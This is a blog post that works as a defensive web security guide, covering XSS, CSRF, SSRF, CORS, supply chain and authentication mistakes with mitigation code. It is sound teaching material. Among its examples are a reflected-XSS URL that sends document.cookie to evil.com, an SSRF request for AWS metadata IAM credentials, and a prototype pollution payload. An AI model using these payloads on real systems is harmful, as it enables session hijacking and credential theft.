LabHub

Blog

Web Security Attack and Defense in Practice — XSS, CSRF, SSRF, Clickjacking, Prototype Pollution, Supply Chain, CORS Complete Guide (2025)

한국어English日本語中文

Why We Need a Post on "Attack Techniques"

Developers know the OWASP Top 10 exists. But they do not know where in their own code it lives. Security is not theory. It has to be learned through concrete attack techniques and concrete defensive code.

In 2025 as well, the way your app gets hacked will most likely be one of the ten covered here.

Part 1 — XSS (Cross-Site Scripting)

Three Kinds

1. Reflected XSS

https://app.com/search?q=<script>fetch('//evil.com?c='+document.cookie)</script>

The server drops q into the HTML as-is. One click on the URL and the session is gone.

2. Stored XSS

The malicious script is saved into permanent storage such as comments or profiles. The worst case — every visitor is affected.

3. DOM-based XSS

The server is perfectly fine. Client-side JS inserts location.hash or postMessage into the DOM without validating it.

// Bad
document.getElementById('welcome').innerHTML = `Hello ${location.hash.slice(1)}`;

Defense Layers

1. Output Escaping (the basics)

import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userHtml);

2. CSP (Content Security Policy)

The strongest XSS defense.

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-rAnd0m' 'strict-dynamic';
  style-src 'self' 'unsafe-inline';
  img-src 'self' https: data:;
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';
  upgrade-insecure-requests;

3. Trusted Types (Chrome 83+, unsupported in Firefox/Safari → polyfill)

"Never assign a string directly to a dangerous sink such as innerHTML."

Content-Security-Policy: require-trusted-types-for 'script'
const policy = trustedTypes.createPolicy('my-policy', {
  createHTML: (input) => DOMPurify.sanitize(input)
});

element.innerHTML = policy.createHTML(userInput);

After Google made it mandatory, XSS reports across its own apps plummeted.

4. Framework-Safe APIs

Part 2 — CSRF (Cross-Site Request Forgery)

How It Works

An attacker site auto-submits <form action="https://bank.com/transfer" method="POST">. The cookies of the victim are sent along automatically, so the request succeeds.

Defense Before 2020: CSRF Token

Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly; Path=/

Most CSRF is defended automatically by SameSite Lax. However, these cases still need a token:

CSRF defense without a server-side session. The same token is sent in a cookie and in a request header, and the two are compared. Frequently used with SPA + token authentication.

Part 3 — SSRF (Server-Side Request Forgery)

The 2019 Capital One Incident

The attacker (Paige Thompson) induced a request from the server side to the AWS EC2 metadata endpoint (169.254.169.254), stole IAM credentials, and leaked the data of 100 million people from an S3 bucket.

Attack Pattern

# Server code
@app.route('/fetch')
def fetch():
    url = request.args.get('url')
    return requests.get(url).text

# Attack: /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

Defense

  1. Use IMDSv2 (AWS) — token-based, so even a GET needs a session.

    MetadataOptions:
      HttpTokens: required
      HttpPutResponseHopLimit: 1
    
  2. URL validation — check the scheme, host, and port, and check the IP after DNS resolution.

    • Block the private IP ranges (10/8, 172.16/12, 192.168/16, 127/8, 169.254/16).
    • DNS rebinding defense — re-validate immediately before the real request is issued.
  3. Network separation — place code that risks SSRF in a VPC/subnet that cannot reach the metadata endpoint.

  4. Outbound proxy — force everything through an allowlist-based proxy.

  5. redirect: 'manual' in the fetch library — stops redirects from being used to reach internal targets.

Additional Points: 0.0.0.0, IPv6, Shortened URLs

Part 4 — Clickjacking

How It Works

An attacker site overlays the victim site transparently in an <iframe> and intercepts the clicks of the user.

Defense

X-Frame-Options: DENY
or
Content-Security-Policy: frame-ancestors 'none'

frame-ancestors is stronger and more flexible (it can allow several domains). X-Frame-Options is legacy, but adding it as well is still the safe move.

Defense from the user side: put a re-authentication or extra confirmation step in front of important actions (payment, password change).

Part 5 — Prototype Pollution

How It Works (common to Node.js and browser JS)

const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
Object.assign({}, payload);
// From here on every object carries isAdmin: true
({}).isAdmin  // true

Real CVEs

Defense

  1. Filter out __proto__, constructor, and prototype in recursive merges.
  2. Object.freeze(Object.prototype) — at app startup where possible.
  3. Use Map — reach for a Map instead of a plain object when storing arbitrary keys.
  4. Object.create(null) — an object with no prototype.
function safeMerge(target, source) {
  for (const key in source) {
    if (['__proto__', 'constructor', 'prototype'].includes(key)) continue;
    target[key] = source[key];
  }
}

Part 6 — Supply Chain Attacks

Landmark Incidents

event-stream (2018)

Malicious code was slipped into an npm package with 2M weekly downloads. The Copay cryptocurrency wallet was the target. It tried to steal BTC from the wallets of victims.

ua-parser-js (2021)

6M weekly downloads. The attacker took over the account of a maintainer and published malicious versions.

xz-utils (2024)

A compression library included in nearly every Linux. "Jia Tan" spent two years earning maintainer status and then inserted an OpenSSH backdoor. Microsoft engineer Andres Freund stumbled onto it by chance.

SolarWinds (2020)

The build pipeline itself was breached. Malicious code rode along in signed updates and reached 18,000 customers.

Defense

  1. Commit the lock filepackage-lock.json, pnpm-lock.yaml.
  2. npm ci — honor the lock file in CI.
  3. Automated dependency updates + review — Dependabot / Renovate.
  4. Vulnerability scanners — Snyk, GitHub Advisory, npm audit.
  5. Generate an SBOM — inventory the components with Syft.
  6. Signature verification — npm 2023+ provenance, Sigstore/cosign.
  7. OSSF Scorecard — check the security score of a package.
  8. Least-privilege CI — do not let the build server hold more permission than it needs.

Typosquatting

rquest (the real one is request), lodas (the real one is lodash) — malicious packages that prey on typos. Build the habit of copying the official name.

Part 7 — Understanding CORS Completely

What Many Developers Get Wrong

"Loosen CORS and you loosen security." Wrong. CORS is not a security feature but a mechanism for granting exceptions to the Same-Origin Policy (SOP). SOP is the shield by default, and CORS is the tool that punches holes in that shield.

The Basic Rules

When the browser sends a cross-origin request:

Common Mistakes

1. Access-Control-Allow-Origin: * + Allow-Credentials: true

The browser refuses it. A wildcard cannot carry credentials. Always echo one specific origin.

// Bad
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');

// Good (after the allowlist check)
if (allowedOrigins.includes(origin)) {
  res.setHeader('Access-Control-Allow-Origin', origin);
  res.setHeader('Vary', 'Origin');
  res.setHeader('Access-Control-Allow-Credentials', 'true');
}

2. Echoing Origin back as-is

Echo it without a pattern check and any site at all can read credentials → critical.

3. A missing Vary: Origin

The cache serves the wrong response to a different origin.

How CORS Relates to Security

Part 8 — Rate Limiting & Bot Defense

Why It Is Needed

Strategies

  1. IP-based token bucket — Redis INCR + TTL is the common implementation.
  2. User/account based — after login, count per account rather than per IP.
  3. Sliding window — accurate but expensive.
  4. Blocking at the CDN/edge tier — Cloudflare, Fastly, Vercel Firewall.

Bot Detection

Response Policy

Part 9 — Common Authentication Mistakes

1. Keeping the JWT in localStorage

One XSS and it is stolen. Use an HttpOnly cookie.

2. SHA-256 for password hashing

Only Argon2id, bcrypt, or scrypt. An ordinary hash can be reversed hundreds of millions of times per second on a GPU.

3. A predictable password recovery token

Mistakes on the order of btoa(email + Date.now()). Use a cryptographic random value + a short TTL + single use.

4. Email Enumeration

"This email is not registered" → the attacker harvests a member list. Keep the response consistent.

5. Session Fixation

On a successful login, always rotate the session ID.

Part 10 — Mistakes with HTTPS and Certificates

HSTS Left Unconfigured

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

It defends the initial HTTP request against MITM. Register on the preload list and even the first visit is protected.

The Trap of Certificate Pinning

Pinning a public key into a mobile app. When the certificate is renewed, if you cannot ship a new build, every single user is cut off. If the service has tens of millions of users, do not pin. Monitoring CT (Certificate Transparency) is the more practical route.

Let's Encrypt + Auto-Renewal

Part 11 — Practical Checklist (12 Items)

  1. CSP from the very start — bolt it on at runtime and unsafe-inline always lingers.
  2. SameSite=Lax by default — None only as an exception.
  3. HttpOnly + Secure — self-evident for session cookies.
  4. Enforce IMDSv2 — mandatory when you are on AWS.
  5. URL fetches go through an SSRF proxy — no direct fetch(userUrl).
  6. Dependencies get a lock file + automated auditing.
  7. Every external input gets schema validation (Zod and friends).
  8. Sanitize the output sink — DOMPurify before you assign to innerHTML.
  9. Argon2id for passwords — though existing bcrypt is fine too.
  10. Rate limit + exponential backoff on failed logins.
  11. Secrets live in Vault/Secrets Manager — no committing .env files.
  12. Set every security header — HSTS, CSP, XFO, XCTO, Referrer-Policy, Permissions-Policy.

Part 12 — Ten Anti-Patterns

  1. innerHTML = userData — a straight shot to XSS.
  2. Overusing dangerouslySetInnerHTML — reaching for it with no sanitizing.
  3. Access-Control-Allow-Origin: * + credentials.
  4. URL fetching with no validation whatsoever.
  5. eval, Function(string), setTimeout(string).
  6. A JWT in localStorage — one XSS and everything goes.
  7. Password reset tokens that are plain numbers or time-based.
  8. Internal details exposed in error messages — stack traces, queries, tokens.
  9. Allowing unlimited attempts with no CAPTCHA.
  10. "It is HTTPS, so it is safe" — transport security is the baseline. Authentication and authorization are a separate matter.

Part 13 — Learning & Practice Resources

Closing — Security Is "The Fundamentals"

The attacks in this post have repeated year after year from 1998 through 2024. New technology arrives, and still the apps that skipped the fundamentals are the first ones broken into.

For an engineer in 2025, security is not "a specialty that hackers practice". It is the fundamentals, dissolved into every code review, every library choice, and every API design of every day.

The good news: most of the defenses in this post are free. CSP, SameSite, DOMPurify, Zod, Dependabot, Cloudflare Turnstile. One line of configuration or one library neutralizes an enormous number of attacks.

The bad news: putting it off with "I will definitely do it on the next project". An app that is already deployed is being scanned at this very moment.

Next Post Preview — "Network Engineering in Practice" — TCP Congestion Control, TLS 1.3, HTTP/3 QUIC, DNS over HTTPS, BGP, and the Insides of a CDN

If web security was about "what do we block", the next post is about "how does data travel".

How to chase the cause of "the network feels slow" down into the protocol layer. In the next post.

Comments

No comments yet.

Sign in to leave a comment